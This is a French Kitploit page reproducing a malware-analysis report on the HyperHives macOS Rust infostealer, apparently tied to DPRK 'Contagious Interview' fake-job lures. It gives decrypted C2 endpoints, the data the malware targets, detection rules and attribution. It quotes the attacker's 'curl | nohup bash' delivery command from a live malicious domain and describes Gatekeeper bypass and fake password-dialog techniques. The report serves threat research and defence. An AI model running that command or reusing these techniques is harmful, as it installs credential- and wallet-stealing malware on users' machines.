Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hyperhives-macos-infostealer-analysis — Analyse statique complète du voleur d'informations HyperHives macOS Rust — 571 valeurs de configuration déchiffrées, infrastructure C2, attribution DPRK/Contagious Interview, règles YARA/Sigma, bundle STIX 2.1, couche ATT&CK Navigator | Kitploit
Outils/GitHubGitHub/darksp33d/hyperhives-macos-infostealer-analysis
Gestion des Indicateurs de Compromission (IOC)OSINT (Renseignement de Sources Ouvertes)Rétro-ingénierieAnalyse ForensiqueAnalyse de MalwareRenseignement sur les MenacesArticles et RechercheApprentissage et ÉducationRessources Organisées

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubdarksp33d/hyperhives-macos-infostealer-analysis

hyperhives-macos-infostealer-analysis

Analyse statique complète du voleur d'informations HyperHives macOS Rust — 571 valeurs de configuration déchiffrées, infrastructure C2, attribution DPRK/Contagious Interview, règles YARA/Sigma, bundle STIX 2.1, couche ATT&CK Navigator

Voir le dépôtSite web
3143il y a 5 moisVérifié par Kitploit
Partager

HyperHives macOS Infostealer — Analyse technique complète

Validate Repository License: MIT STIX 2.1 ATT&CK Navigator

Renseignement sur les menaces : Infostealer binaire universel Rust pour macOS distribué via un faux pipeline d'entretien d'embauche sur Wellfound (anciennement AngelList). Le personnage de l'opérateur « Felix » d'« HyperHive » a incité les cibles à exécuter un installateur malveillant depuis macos.hyperhives.net. Ce dépôt documente une analyse statique complète : 571 valeurs de configuration chiffrées récupérées, comprenant des URL C2, un DSN Sentry, et 276 ID d'extensions Chrome ciblées.

SHA-256 de l'échantillon5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3
Domaine C2cloudproxy.link
Domaine de livraisonmacos.hyperhives.net
Plateforme d'appâtWellfound (anciennement AngelList)
Personnage de l'opérateur« Felix » chez « HyperHive »
VirusTotal9 / 63 détections
ClassificationDivulgation publique / lot d'IOC
Dernière mise à jourAvril 2026

Sommaire

  • Paquets de renseignement sur les menaces
  • Structure du dépôt
  • Démarrage rapide
  • TL;DR
  • 1 — Comment tout a commencé
  • 2 — Le binaire
  • 3 — Ce qu'il vole
  • 4 — Infrastructure C2 déchiffrée
  • 5 — Attribution
  • 6 — Cryptanalyse
  • 7 — Cartographie MITRE ATT&CK
  • 8 — Référence des portefeuilles et ID d'extensions
  • 9 — Actions recommandées
  • 10 — Méthodologie
  • Annexe A — Les 276 ID d'extensions Chrome
  • Portée et limites
  • Historique des versions
  • Contribuer
  • Licence

Paquets de renseignement sur les menaces

FichierFormatObjectif
iocs.txtTexte brutHachages, domaines, URLs, IPs, email, IDs Sentry — à coller dans des listes de blocage, MISP, OpenCTI
yara_rules.yarYARA 4.2+Correspondance de hachage d'échantillon connu + détections heuristiques de chaînes pour Mach-O
sigma_rules.ymlSigmaRègles de proxy, DNS et création de processus — ajustez logsource pour votre SIEM
stix/bundle.jsonSTIX 2.1Paquet CTI lisible par machine avec indicateurs, SDO de logiciel malveillant, infrastructure, motifs ATT&CK et relations
attack-navigator-layer.jsonATT&CK NavigatorImportez dans ATT&CK Navigator pour une couverture visuelle des techniques

Structure du dépôt```

. ├── README.md # This report ├── iocs.txt # Flat IOC list ├── yara_rules.yar # YARA detection rules ├── sigma_rules.yml # Sigma detection rules ├── stix/ │ └── bundle.json # STIX 2.1 threat-intelligence bundle ├── attack-navigator-layer.json # ATT&CK Navigator layer ├── output/ │ ├── full_decrypted_config.json # Machine-readable decrypted configuration │ ├── iocs.json # Structured IOC export │ ├── c2_protocol.txt # C2 protocol field documentation │ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates) │ ├── source_map.txt # Reconstructed source-file layout │ └── targets.txt # Targeted applications and data paths ├── scripts/ │ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation) │ ├── analyze.py # Static analysis driver │ ├── extract_all.py # String and structure extractor │ ├── r2_analyze.py # Radare2 analysis automation │ ├── r2_targeted.py # Targeted R2 analysis for helpers │ └── validate_repo.py # CI validation script ├── sample/ │ └── README.md # Instructions for sample placement ├── Dockerfile # Analysis container image ├── docker-compose.yml # Air-gapped compose config ├── lab.sh # Helper script for Docker lab ├── SECURITY.md # Safe handling and vulnerability reporting ├── CONTRIBUTING.md # Contribution guidelines ├── CHANGELOG.md # Release history ├── LICENSE # MIT └── .github/ ├── workflows/validate.yml # CI: YARA + Sigma + file checks ├── ISSUE_TEMPLATE/ # Structured issue forms └── PULL_REQUEST_TEMPLATE.md # PR checklist

root@kitploit:~
---

## Démarrage rapide

Placez l'échantillon en tant que `sample/installer_binary` (consultez [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/sample/README.md) pour la vérification de hachage), puis :```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py

Le fichier compose impose network_mode: none, read_only: true, et supprime toutes les capacités Linux. Voir SECURITY.md pour les directives complètes de gestion.


TL;DR

Une offre d'emploi sur Wellfound (anciennement AngelList) a conduit à une chaîne d'ingénierie sociale par plusieurs e-mails de la part d'un opérateur sous le personnage "Felix" chez "HyperHive". Après avoir flatté le parcours technique de la cible et planifié un faux entretien, l'attaquant a dirigé la victime pour « passer en revue le produit » sur hyperhives.net et examiner spécifiquement Paramètres → Diagnostics → Journal — un prétexte pour déclencher l'exécution de :``` curl -s https://macos.hyperhives.net/install | nohup bash &

root@kitploit:~
La charge utile est un **binaire universel Mach-O de 8,5 Mo** (x86_64 + arm64) compilé en Rust. L’analyse statique avec un laboratoire Docker déconnecté et l’émulation CPU de **570 routines d’assistance x86_64 uniques** a récupéré **la totalité des 571 valeurs de configuration chiffrées**, révélant :

- **C2 :** `cloudproxy.link` — quatre points de terminaison HTTPS
- **Sentry (pivot d’attribution) :** DSN complet avec identifiants d’org/projet sur `ingest.de.sentry.io`
- **Identité de construction :** utilisateur Cargo `rootr`, nom de code `force`, version `9.12.1`
- **Cibles :** 276 identifiants d’extension Chrome (portefeuilles crypto, gestionnaires de mots de passe, identifiants d’entreprise)

Les tactiques correspondent aux campagnes **Contagious Interview liées à la RPDC** — recrutement professionnel fictif sur des plateformes légitimes, établissement de confiance en plusieurs étapes, livraison via `curl | bash`, voleur macOS en Rust et exfiltration ciblant les cryptomonnaies.

---

## 1 — Comment tout a commencé

### L’appât : un entretien d’embauche factice sur Wellfound

L’attaque a commencé par une **annonce d’emploi d’apparence légitime sur Wellfound** (anciennement AngelList). Après que la cible a postulé, la chaîne d’e‑mails suivante a été initiée par un opérateur utilisant le personnage **« Felix »** et le nom d’entreprise **« HyperHive »** :

**E‑mail 1** (4 avril 2026) — Contact initial. « Felix » a accusé réception du CV et du profil LinkedIn de la cible, affirmant que leur « Tech Lead » avait approuvé la poursuite, et a spécifiquement mentionné l’expérience technique réelle de la cible. L’e‑mail indiquait qu’HyperHive « construisait la version de bureau des Hyperhives sur différents systèmes d’exploitation » et invitait la cible à planifier un entretien à UTC+0.

**E‑mail 2** (5 avril 2026) — Planification de suivi. A proposé un créneau d’entretien spécifique (8 avril à 15:00 UTC) et a inclus l’instruction critique de livraison de la charge utile :

> *"Si vous le pouvez, veuillez également jeter un coup d’œil rapide au journal produit sous **Paramètres → Diagnostics → Journal**. Nous pourrions vous demander quelques brefs commentaires sur le journal et toute autre observation produit que vous remarquez, car cela donne souvent un bon signal de l’expérience en ingénierie et de l’attention aux détails."*

Cela a dirigé la cible vers `https://hyperhives.net`, où la navigation vers la section diagnostics a déclenché :```
curl -s https://macos.hyperhives.net/install | nohup bash &

Ce qui s'est passé ensuite

La commande a téléchargé et exécuté un binaire universel Mach-O de 8,5 Mo. Une fausse boîte de dialogue de mot de passe macOS est apparue via AppleScript. Le mot de passe n'a pas été saisi. Les processus ont été immédiatement terminés et l'échantillon a été conservé pour analyse.

Résumé des techniques d'ingénierie sociale

ÉlémentDétail
PlateformeWellfound (AngelList) — site d'emploi légitime
Nom de l'entreprise"HyperHive" (singulier) / domaine hyperhives.net
Persona"Felix"
Email de contact[email protected]
Renforcement de la confianceA fait référence au vrai CV de la cible, à son LinkedIn et à ses compétences techniques spécifiques
Prétexte"Examinez le produit avant l'entretien"
Déclencheur du payload"Vérifiez Paramètres → Diagnostics → Journal" sur hyperhives.net
PlanificationCréneau d'entretien fictif (8 avril, 15:00 UTC) pour maintenir l'urgence
Chaîne en plusieurs étapesAu moins 2 e-mails sur 2 jours avant la livraison du payload

2 — Le binaire

PropriétéValeur
Fichierinstaller_binary
Taille8 504 768 octets
FormatMach-O Universal (x86_64 + arm64)
SHA-2565c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3
SHA-12de897066c2fc7db91da78d7f9ded99237345077
MD50e95ab4038ec48657563c96bed840dd5
Compilateurrustc 1.87.0 (stable)
Utilisateur de constructionrootr (à partir du chemin intégré /Users/rootr/.cargo/registry/...)
Nom de code de constructionforce
Version de construction9.12.1
Suivi des erreursSentry Rust SDK v0.36.0
Nombre de crates97 (voir output/cargo_dependencies.txt)

L'échantillon présente une ingénierie de qualité production : versionnage sémantique, intégration Sentry pour la fiabilité opérationnelle, et une grande configuration intégrée chiffrée avec 570 fonctions auxiliaires uniques.

Couverture VirusTotal

Rapport complet — 9 / 63 moteurs ont détecté lors de la soumission initiale (avril 2026). Plus de 85 % des moteurs n'ont pas réussi à signaler cet échantillon.

MoteurNom de détection
KasperskyHEUR:Trojan-PSW.OSX.HashBreaker.e
DrWebMac.PWS.JobStealer.1
ESET-NOD32OSX/PSW.Agent.BX Trojan
MicrosoftTrojan:MacOS/Stealer!AMTB
Avast / AVGMacOS:Stealer-BU [Trj]
ElasticMalicious (high Confidence)
CynetMalicious (score: 99)
SentinelOneStatic AI - Suspicious Mach-O

Noms de famille notables des éditeurs pour recoupement : HashBreaker (Kaspersky), JobStealer (DrWeb), PSW.Agent.BX (ESET), Stealer-BU (Avast/AVG).

Non détecté par : BitDefender, CrowdStrike Falcon, Sophos, Symantec, McAfee, Malwarebytes, TrendMicro, Fortinet, ClamAV, Panda et 44 autres moteurs. Ce faible taux de détection souligne l'efficacité opérationnelle de l'approche Rust + obfuscation personnalisée utilisée par cette campagne.

Les taux de détection changent à mesure que les éditeurs mettent à jour leurs signatures. Consultez le rapport VirusTotal pour les résultats actuels.


3 — Ce qu'il vole

Données du navigateur (basé sur Chromium)

NavigateurChemin des donnéesEntrée du trousseau
ChromeGoogle/ChromeChrome Safe Storage
BraveBraveSoftware/Brave-BrowserBrave Safe Storage
Operapar défautOpera Safe Storage
Opera GXpar défautOpera Safe Storage 2023
Vivaldipar défautVivaldi Safe Storage
Microsoft Edgepar défautMicrosoft Edge Safe Storage
ArcArc/User Data—
CocCocpar défautCocCoc Safe Storage

Types de données volées : mots de passe, cartes de crédit, cookies, jetons de session, remplissage automatique, historique de navigation.

Données système macOS

  • Trousseau de connexion (login.keychain-db) — nécessite le mot de passe utilisateur récolté via la fausse boîte de dialogue
  • Notes Apple — exfiltré via AppleScript/osascript
  • Identifiants matériels — IOPlatformExpertDevice / IOPlatformUUID, signalés comme hardwares au C2

Messagerie

  • Telegram Desktop — matériel de session tdata pour une prise de contrôle complète du compte

Portefeuilles crypto (188 cibles logicielles, 276 identifiants d'extension)

Ciblage complet des portefeuilles par extension de navigateur, incluant MetaMask, Phantom, Trust Wallet, Ronin, Exodus, OKX, Bybit, Bitget, SubWallet, Ledger Live et Trezor Suite. Cartographie complète dans la Section 8 et output/full_decrypted_config.json.

Gestionnaires de mots de passe

ProduitIdentifiants d'extension (exemples)
1Passwordaeblfdkhhhdcdjpifhhbdiojplfjncoa, khgocmkkpikpnmmkgmdnfckapcdkgfaf, gejiddohjgogedgjnonbofjigllpkmbf
ProtonPassghmbeldphafepmbegfdlkpapadhbakde
Dashlanefdjamakpfbbddfjaooikfcpapjohcfmg
Identifiants DeloitteMagasin d'identifiants d'entreprise

Contournement et contrôles opérationnels

FonctionnalitéDétail
Détection de VMindicateur is_vm dans le JSON du C2
Mode forcéindicateur de remplacement à distance force_mode
Contournement de Gatekeeperxattr -c sur le binaire téléchargé
Alerte VPNMessage d'erreur "Veuillez utiliser un VPN et réessayer"

Exfiltration

Les données sont stockées temporairement dans ~/Documents/temp_data/Application/, compressées en ZIP, téléchargées via multipart/form-data sur HTTPS. L'IP de la victime et la géolocalisation sont résolues via https://freeipapi.com/api/json.


4 — Infrastructure C2 déchiffrée

Commande et contrôle

Point d'accèsRôle
https://cloudproxy.link/m/openedBalise / activation
https://cloudproxy.link/m/metricsTélémétrie
https://cloudproxy.link/m/decodeCanal d'instruction / configuration
https://cloudproxy.link/db/debugDébogage / diagnostics

Sentry DSN (empreinte de l'opérateur)```

https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008

root@kitploit:~
| Composant | Valeur |
|-----------|--------|
| **Clé publique** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **ID d'organisation** | `4509139651198976` |
| **ID de projet** | `4509422649213008` |
| **Région** | UE — `ingest.de.sentry.io` |

Une procédure légale avec Sentry peut permettre de récupérer les informations d'enregistrement du compte, les enregistrements de facturation et les métadonnées d'accès liées à cette organisation/projet.

### API de géolocalisation

`https://freeipapi.com/api/json` — IP / pays de la victime pour le JSON C2 (`ipAddress`, `countryCode`).

### Protocole d'exfiltration C2

| Champ | Rôle |
|-------|------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | Identifiants victime / session |
| `ip`, `geo` | Depuis l'API de géolocalisation |
| `pers_password` | Mot de passe de la fausse boîte de dialogue |
| `passwords`, `wallets`, `credits`, `autofills` | Données volées |
| `is_vm`, `hardwares`, `force_mode` | Contrôle environnement / drapeaux |

Méthode de téléchargement : `multipart/form-data`, `application/zip`, chaîne de connexion `UPLD connect`.

---

## 5 — Attribution

### Indicateurs de compromission

| Indicateur | Valeur | Source |
|-----------|-------|--------|
| Plateforme leurre | Wellfound (AngelList) | Rapport de la victime |
| Persona de l'opérateur | « Felix » chez « HyperHive » | Emails leurres |
| Site web leurre | `hyperhives.net` | Emails leurres |
| Email expéditeur | `[email protected]` | Emails leurres |
| Domaine de livraison | `macos.hyperhives.net` | Téléchargement du payload |
| IP de livraison | `81.28.12.12` (CDN Gcore) | Résolution DNS |
| Registraire / email | Tucows ; Spacemail | WHOIS / MX |
| **Domaine C2** | **`cloudproxy.link`** | **Déchiffré depuis l'échantillon** |
| **DSN Sentry** | Voir [Section 4](#sentry-dsn-operator-fingerprint) | **Déchiffré depuis l'échantillon** |
| Utilisateur de compilation | `rootr` | Chemins Cargo intégrés |
| SHA-256 de l'échantillon | `5c7385c3...bf8dd3` | Empreinte du fichier |

### Identifiant développeur : `rootr`

Chemin intégré `/Users/rootr/.cargo/registry/`. OSINT sur l'identifiant — [github.com/rootr](https://github.com/rootr) (à la date de l'analyse) : société listée « RootR », localisation Genève, compte créé le **2024-06-27**, zéro dépôt public. Correspond à un profil jetable ou opérationnel.

### RPDC / Contagious Interview (évaluation analytique)

| TTP | Cet échantillon | Modèle rapporté proche de la RPDC |
|-----|-----------------|-----------------------------------|
| **Recrutement fictif sur une plateforme légitime** | Publication sur Wellfound (AngelList) → échange d'emails avec « Felix » | Contagious Interview : démarchage de faux recruteurs sur LinkedIn, Indeed, Wellfound |
| **Ingénierie sociale en plusieurs étapes** | 2+ emails faisant référence au vrai CV, planification d'un faux entretien | Établir la confiance avant le payload ; documenté dans plusieurs campagnes RPDC |
| **Prétexte d'évaluation / test de code** | « Check Settings → Diagnostics → Log » | Prétextes « Examinez notre projet » / « exécutez ce test de code » |
| Livraison `curl \| bash` | Ligne de commande d'installation depuis `macos.hyperhives.net` | Vecteur d'ingénierie sociale macOS courant |
| Binaire universel Rust Mach-O | rustc 1.87.0, x86_64 + arm64 | RustDoor / RustBucket / clusters similaires |
| Fausse boîte de dialogue mot de passe | AppleScript `osascript` | Documenté dans des campagnes macOS similaires |
| Grand ensemble de cibles portefeuilles crypto | 276 IDs d'extension, 188 noms de portefeuilles | Motivation financière cohérente avec la génération de revenus de la RPDC |

**Confiance :** **élevée** pour l'alignement thématique et TTP. Le pipeline de faux emplois sur Wellfound, la chaîne de confiance par plusieurs emails, le prétexte d'évaluation, le stealer macOS en Rust et la focalisation sur les portefeuilles crypto correspondent étroitement au playbook Contagious Interview. Il s'agit d'une évaluation analytique, pas d'une déclaration d'attribution gouvernementale ou policière.

---

## 6 — Cryptanalyse

Les chaînes de configuration sont protégées par un **chiffrement XOR personnalisé** : 570 petites fonctions d'assistance x86_64 (plage de code `0x10000`–`0x15000`) calculent chacune un offset 16 bits unique à partir de `(data_ptr, seed)`. L'offset indexe dans le binaire pour produire une clé XOR de 32 octets appliquée au bloc de texte chiffré correspondant.

### Approches qui ont échoué

| Méthode | Résultat |
|---------|----------|
| Balayages XOR naïfs | Aucun texte clair cohérent |
| Supposition de clé AES / PBKDF2 | Aucune schedule de clé trouvée |
| Émulation Unicorn du runtime Rust sur l'intégralité du binaire | Complexité du flux de contrôle a provoqué une divergence |

### Approche qui a réussi

1. **Rechercher** les instructions `LEA` relatives à RIP ciblant la région de configuration (`0x2b8000`–`0x2bc000`).
2. **Analyser** le code précédent pour extraire `(adresse_fonction_assistance, pointeur_données, seed)`.
3. **Émuler** chaque fonction d'assistance isolément avec [Unicorn Engine](https://www.unicorn-engine.org/) (200 instructions max).
4. **Déchiffrer** le bloc de 32 octets à l'adresse cible en utilisant la clé à l'offset calculé.
5. **Étendre** pour les chaînes multi-blocs (URL, DSN) et les entrées de métadonnées OU+XOR.

**Couverture :** 381 blocs XOR + 190 entrées de métadonnées OU+XOR = **571 valeurs de configuration récupérées** en 1,1 seconde. Zéro entrée chiffrée non récupérée.

**Implémentation :** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)

---

## 7 — Cartographie MITRE ATT&CK

> Importez [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/attack-navigator-layer.json) dans [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) pour une vue interactive.

| Technique | ID | Utilisation dans cet échantillon |
|-----------|----|----------------------------------|
| Phishing | T1566 | Email d'ingénierie sociale depuis `[email protected]` |
| Exécution par l'utilisateur : Fichier malveillant | T1204.002 | `curl \| bash` depuis le leurre |
| Interpréteur de commandes et de scripts : AppleScript | T1059.002 | Fausse boîte de dialogue mot de passe, exfiltration d'Apple Notes |
| Interpréteur de commandes et de scripts : Shell Unix | T1059.004 | Exécution initiale via bash redirigé |
| Informations d'identification issues de magasins de mots de passe : Trousseau | T1555.001 | Extraction du trousseau de connexion |
| Informations d'identification issues de magasins de mots de passe : Informations d'identification issues des navigateurs web | T1555.003 | Déchiffrement des données de connexion Chromium |
| Vol de cookie de session web | T1539 | Vol de cookies et jetons de navigateur |
| Données provenant du système local | T1005 | Portefeuilles, Telegram, Notes, remplissage automatique |
| Archivage des données collectées | T1560 | Préparation ZIP sous `~/Documents/temp_data/` |
| Exfiltration via le canal C2 | T1041 | HTTPS POST vers `cloudproxy.link` |
| Protocole de couche application : Protocoles web | T1071.001 | HTTPS C2 avec quatre points de terminaison |
| Contournement de virtualisation/bac à sable | T1497 | Drapeau `is_vm` |
| Fichiers ou informations obscurcis | T1027 | 570 fonctions d'assistance XOR |
| Capture de saisie | T1056 | Fausse boîte de dialogue mot de passe |
| Découverte des informations système | T1082 | Collecte de l'ID matériel et de la version du système d'exploitation |
| Découverte de la configuration réseau système | T1016 | Géolocalisation via `freeipapi.com` |
| Contournement des contrôles de confiance : Contournement de Gatekeeper | T1553.001 | `xattr -c` sur le binaire téléchargé |

---

## 8 — Référence des portefeuilles et des IDs d'extension

188 noms de portefeuilles et **276 IDs d'extension Chrome uniques** de 32 caractères ont été récupérés. Le tableau suivant présente les cibles de premier plan ; la liste complète se trouve dans [l'Annexe A](#appendix-a--all-276-chrome-extension-ids) et dans `output/full_decrypted_config.json`.

| Portefeuille | ID d'extension |
|--------------|----------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |

**Portefeuilles de bureau :** Les répertoires de données de Ledger Live et Trezor Suite sont également ciblés.

**Important :** Ces IDs d'extension identifient **des extensions de navigateur légitimes** dont les données locales sont ciblées par le logiciel malveillant pour vol. Il ne s'agit **pas** d'extensions malveillantes.

---

## 9 — Actions recommandées

### Pour les victimes potentielles

- **N'exécutez pas** de lignes de commande `curl | bash` inconnues
- Faites tourner tous les identifiants stockés dans le navigateur, les clés de portefeuille crypto et les mots de passe maîtres du gestionnaire de mots de passe s'ils ont été exposés
- Vérifiez la présence de `~/Documents/temp_data/` sur le disque
- Signalez aux autorités locales et au CERT national compétent (p. ex. IC3, NCSC)

### Pour les défenseurs

- **Bloquez** `macos.hyperhives.net`, `cloudproxy.link` et `81.28.12.12` (vérifiez l'impact de l'hébergement partagé avant de bloquer l'IP)
- **Recherchez** le trafic HTTPS vers `cloudproxy.link` et les requêtes DNS pour les deux domaines
- **Déployez** les règles YARA et Sigma de ce dépôt (adaptez-les à votre environnement)
- **Comparez** les extensions Chrome installées avec la liste des 276 IDs (les extensions sont légitimes — le logiciel malveillant lit leurs données locales)
- **Importez** `stix/bundle.json` dans votre plateforme CTI (MISP, OpenCTI, ThreatConnect, etc.)

### Pour les demandes légales

| Cible | Quoi demander |
|-------|---------------|
| Sentry | Enregistrements du compte et de facturation pour l'org `4509139651198976` |
| Registraires de domaine | Enregistrements WHOIS pour `cloudproxy.link` et `hyperhives.net` |
| CDN Gcore | Journaux d'accès pour `81.28.12.12` |
| Fournisseur email | Enregistrements du compte pour `[email protected]` |
| GitHub | Métadonnées du compte pour `rootr` |

---

## 10 — Méthodologie

L'analyse a été réalisée dans un **conteneur Docker** avec :
- `network_mode: none` (aucune connectivité sortante)
- `read_only: true` (système de fichiers racine immuable)
- Toutes les capacités Linux supprimées (`cap_drop: ALL`)
- Option de sécurité `no-new-privileges`

Outils : Python (LIEF, Unicorn Engine, Capstone, r2pipe), Radare2, et scripts personnalisés. Aucune exécution dynamique du logiciel malveillant n'a été effectuée — toutes les conclusions proviennent d'analyses statiques et d'émulation isolée du CPU de fonctions d'assistance individuelles.

Artéfacts vérifiés : [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py), [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/output/full_decrypted_config.json).

---

## Annexe A — Tous les 276 IDs d'extension Chrome

La configuration du logiciel malveillant fait référence à ces IDs d'extension (chemins local-storage / LevelDB sous les profils utilisateur). **Ces IDs identifient des extensions légitimes ciblées pour le vol de données, et non des extensions malveillantes.**```
abkahkcbhngaebpcgfmhkoioedceoigp  abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch  aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa  afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco  aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb  ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno  aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi  ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp  akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa  algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae  amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff  anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca  aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol  bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh  bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc  bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm  bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha  bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm  bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg  blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf  bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni  bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl  cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje  ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne  ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi  cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl  cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm  codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp  dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp  dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm  dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok  dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm  dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph  dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao  eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm  ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk  egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea  ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm  ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg  ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp  eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg  emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen  emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg  epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk  fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo  fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk  fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii  fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp  fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb  fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld  fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc  fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh  fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib  fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll  fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg  gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf  ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg  ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai  gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn  gkpbmnplcjdnnmmiaaphofhdiicdhfah
